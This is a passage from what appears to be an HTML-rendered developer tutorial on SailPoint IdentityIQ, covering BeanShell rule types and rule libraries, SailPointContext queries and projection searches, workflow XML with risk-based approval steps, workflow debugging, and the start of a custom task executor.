    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;startsWith&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"E-"&lt;/span&gt;&lt;span class="o"&gt;))&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
        &lt;span class="n"&gt;employeeId&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;substring&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="o"&gt;}&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identityAttributeName"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"employeeId"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
    &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;put&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"identityAttributeValue"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;employeeId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;

&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;IdentityAttribute&lt;/strong&gt; — Computes a value for an identity attribute during the Identity Refresh task. Receives &lt;code&gt;identity&lt;/code&gt; and, for some configurations, &lt;code&gt;link&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Provisioning / BeforeProvisioning / AfterProvisioning&lt;/strong&gt; — Modify a &lt;code&gt;ProvisioningPlan&lt;/code&gt; on its way to a target system. The canonical use case is translating IdentityIQ's values into whatever encoding the target expects — for instance converting &lt;code&gt;"Full"&lt;/code&gt; to the numeric code &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Certification&lt;/strong&gt; — Filter or pre-decide certification items, typically to auto-approve low-risk entitlements so reviewers only see what matters.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Find the exact arguments for any rule type&lt;/strong&gt; in &lt;code&gt;IdentityIQ_HOME/WEB-INF/config/examplerules.xml&lt;/code&gt;. This file contains a working example of every rule type with its real input arguments, and it is more reliable than the documentation for this specific question.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Rule Libraries Prevent Copy-Paste Sprawl
&lt;/h3&gt;

&lt;p&gt;Do not duplicate helper logic across twenty rules. Put shared functions in a rule of type &lt;code&gt;null&lt;/code&gt; and reference it:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Rule Library"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"null"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    public static String normalizeDepartment(String raw) {
        if (raw == null) return "UNKNOWN";
        return raw.trim().toUpperCase().replaceAll("[^A-Z0-9]", "_");
    }
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then in any consuming rule:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Rule&lt;/span&gt; &lt;span class="na"&gt;language=&lt;/span&gt;&lt;span class="s"&gt;"beanshell"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Department Attribute Rule"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"IdentityAttribute"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;ReferencedRules&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Reference&lt;/span&gt; &lt;span class="na"&gt;class=&lt;/span&gt;&lt;span class="s"&gt;"sailpoint.object.Rule"&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Rule Library"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/ReferencedRules&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Source&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
    return normalizeDepartment(identity.getStringAttribute("dept"));
  ]]&amp;gt;&lt;/span&gt;&lt;span class="nt"&gt;&amp;lt;/Source&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Rule&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  The SailPointContext API
&lt;/h2&gt;

&lt;p&gt;&lt;code&gt;SailPointContext&lt;/code&gt; is your handle to the database. Nearly every rule receives it as &lt;code&gt;context&lt;/code&gt;. Four operations cover most usage:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Application&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Filter&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.QueryOptions&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Iterator&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// 1. Fetch a single object by name&lt;/span&gt;
&lt;span class="nc"&gt;Identity&lt;/span&gt; &lt;span class="n"&gt;user&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjectByName&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"jdoe"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 2. Fetch by ID&lt;/span&gt;
&lt;span class="nc"&gt;Application&lt;/span&gt; &lt;span class="n"&gt;app&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjectById&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Application&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;appId&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 3. Query with filters&lt;/span&gt;
&lt;span class="nc"&gt;QueryOptions&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;QueryOptions&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eq&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"inactive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;like&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"department"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"Engineering"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;MatchMode&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;START&lt;/span&gt;&lt;span class="o"&gt;));&lt;/span&gt;
&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;identities&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;getObjects&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// 4. Save changes — BOTH calls are required&lt;/span&gt;
&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;setAttribute&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"riskTier"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"HIGH"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;saveObject&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;user&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;commitTransaction&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Use Projection Queries for Bulk Reads
&lt;/h3&gt;

&lt;p&gt;&lt;code&gt;context.getObjects()&lt;/code&gt; hydrates every full object into memory. Against a large identity cube this will exhaust the heap. When you only need a few fields, use a projection query, which returns an iterator over &lt;code&gt;Object[]&lt;/code&gt; rows and streams results:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.QueryOptions&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Identity&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.Iterator&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.ArrayList&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;java.util.List&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="nc"&gt;QueryOptions&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;QueryOptions&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;addFilter&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Filter&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;eq&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"inactive"&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Boolean&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="o"&gt;)));&lt;/span&gt;

&lt;span class="nc"&gt;List&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;ArrayList&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"id"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;add&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"name"&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;

&lt;span class="nc"&gt;Iterator&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;search&lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Identity&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;class&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;qo&lt;/span&gt;&lt;span class="o"&gt;,&lt;/span&gt; &lt;span class="n"&gt;props&lt;/span&gt;&lt;span class="o"&gt;);&lt;/span&gt;
&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;hasNext&lt;/span&gt;&lt;span class="o"&gt;())&lt;/span&gt; &lt;span class="o"&gt;{&lt;/span&gt;
    &lt;span class="nc"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[]&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;Object&lt;/span&gt;&lt;span class="o"&gt;[])&lt;/span&gt; &lt;span class="n"&gt;it&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="na"&gt;next&lt;/span&gt;&lt;span class="o"&gt;();&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;id&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
    &lt;span class="nc"&gt;String&lt;/span&gt; &lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nc"&gt;String&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; &lt;span class="n"&gt;row&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="o"&gt;];&lt;/span&gt;
    &lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;++;&lt;/span&gt;
&lt;span class="o"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="s"&gt;"Processed "&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;count&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s"&gt;" identities"&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For long-running loops, call &lt;code&gt;context.decache()&lt;/code&gt; periodically to clear the Hibernate session, or memory will grow until the task fails.&lt;/p&gt;

&lt;h2&gt;
  
  
  Workflows: Orchestrating Processes That Pause
&lt;/h2&gt;

&lt;p&gt;A workflow is an XML state machine. It exists because rules cannot wait. When a user requests access and a manager must approve it, the process may sit idle for days — the workflow persists to a &lt;code&gt;WorkflowCase&lt;/code&gt; row and resumes when the approval arrives, surviving application restarts.&lt;/p&gt;

&lt;h3&gt;
  
  
  Steps and Transitions
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight xml"&gt;&lt;code&gt;&lt;span class="nt"&gt;&amp;lt;Workflow&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Example Access Request Approval"&lt;/span&gt; &lt;span class="na"&gt;type=&lt;/span&gt;&lt;span class="s"&gt;"LCMProvisioning"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"identityName"&lt;/span&gt; &lt;span class="na"&gt;input=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"plan"&lt;/span&gt; &lt;span class="na"&gt;input=&lt;/span&gt;&lt;span class="s"&gt;"true"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;Variable&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"approvalDecision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Start"&lt;/span&gt; &lt;span class="na"&gt;icon=&lt;/span&gt;&lt;span class="s"&gt;"Start"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Evaluate Risk"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Evaluate Risk"&lt;/span&gt; &lt;span class="na"&gt;resultVariable=&lt;/span&gt;&lt;span class="s"&gt;"riskLevel"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Script&amp;gt;&lt;/span&gt;&lt;span class="cp"&gt;&amp;lt;![CDATA[
      import sailpoint.object.Identity;
      Identity id = context.getObjectByName(Identity.class, identityName);
      if (id != null &amp;amp;&amp;amp; id.getScore() != null &amp;amp;&amp;amp; id.getScore().intValue() &amp;gt;&lt;/span&gt; 500) {
          return "HIGH";
      }
      return "LOW";
    ]]&amp;gt;&lt;span class="nt"&gt;&amp;lt;/Script&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Manager Approval"&lt;/span&gt; &lt;span class="na"&gt;when=&lt;/span&gt;&lt;span class="s"&gt;'riskLevel == "HIGH"'&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Auto Approve"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Manager Approval"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Approval&lt;/span&gt; &lt;span class="na"&gt;mode=&lt;/span&gt;&lt;span class="s"&gt;"serial"&lt;/span&gt; &lt;span class="na"&gt;owner=&lt;/span&gt;&lt;span class="s"&gt;"script:..."&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
      &lt;span class="nt"&gt;&amp;lt;Arg&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"workItemDescription"&lt;/span&gt; &lt;span class="na"&gt;value=&lt;/span&gt;&lt;span class="s"&gt;"Approve access request"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;/Approval&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Auto Approve"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Provision"&lt;/span&gt; &lt;span class="na"&gt;action=&lt;/span&gt;&lt;span class="s"&gt;"call:provisionProject"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
    &lt;span class="nt"&gt;&amp;lt;Transition&lt;/span&gt; &lt;span class="na"&gt;to=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
  &lt;span class="nt"&gt;&amp;lt;/Step&amp;gt;&lt;/span&gt;

  &lt;span class="nt"&gt;&amp;lt;Step&lt;/span&gt; &lt;span class="na"&gt;name=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt; &lt;span class="na"&gt;icon=&lt;/span&gt;&lt;span class="s"&gt;"Stop"&lt;/span&gt;&lt;span class="nt"&gt;/&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/Workflow&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Key mechanics:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;&amp;lt;Transition&amp;gt;&lt;/code&gt; order matters.&lt;/strong&gt; They are evaluated top to bottom and the first matching &lt;code&gt;when&lt;/code&gt; wins. Always place a bare &lt;code&gt;&amp;lt;Transition&amp;gt;&lt;/code&gt; last as the default branch, or the workflow will dead-end.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;code&gt;resultVariable&lt;/code&gt;&lt;/strong&gt; captures a step's return value into a workflow variable usable by later steps and transition conditions.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Variables marked &lt;code&gt;input="true"&lt;/code&gt;&lt;/strong&gt; are supplied by the caller. Everything else starts null.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Debugging Workflows
&lt;/h3&gt;

&lt;p&gt;Workflows fail silently more often than rules do, because a failed transition simply stops the case. Two techniques:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Enable workflow trace.&lt;/strong&gt; Add &lt;code&gt;&amp;lt;Arg name="trace" value="true"/&amp;gt;&lt;/code&gt; to the workflow, and step-by-step execution prints to stdout — usually &lt;code&gt;catalina.out&lt;/code&gt; on Tomcat.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Inspect the stuck case.&lt;/strong&gt; In the iiq console: &lt;code&gt;list WorkflowCase&lt;/code&gt; then &lt;code&gt;checkout WorkflowCase "&amp;lt;name&amp;gt;" /tmp/case.xml&lt;/code&gt; to see exactly which step it halted on and the state of every variable.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  Tasks: Scheduled Bulk Operations
&lt;/h2&gt;

&lt;p&gt;Tasks are &lt;code&gt;TaskDefinition&lt;/code&gt; objects run on a schedule. The built-ins cover most needs — &lt;strong&gt;Account Aggregation&lt;/strong&gt; pulls accounts from a source, &lt;strong&gt;Identity Refresh&lt;/strong&gt; recalculates attributes, roles, and risk scores across the identity cube.&lt;/p&gt;

&lt;p&gt;When you need behaviour the built-ins do not provide, write a custom task executor in Java (not BeanShell) by implementing &lt;code&gt;TaskExecutor&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight java"&gt;&lt;code&gt;&lt;span class="kn"&gt;package&lt;/span&gt; &lt;span class="nn"&gt;com.example.iiq.task&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.api.SailPointContext&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="nn"&gt;sailpoint.object.Attributes&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
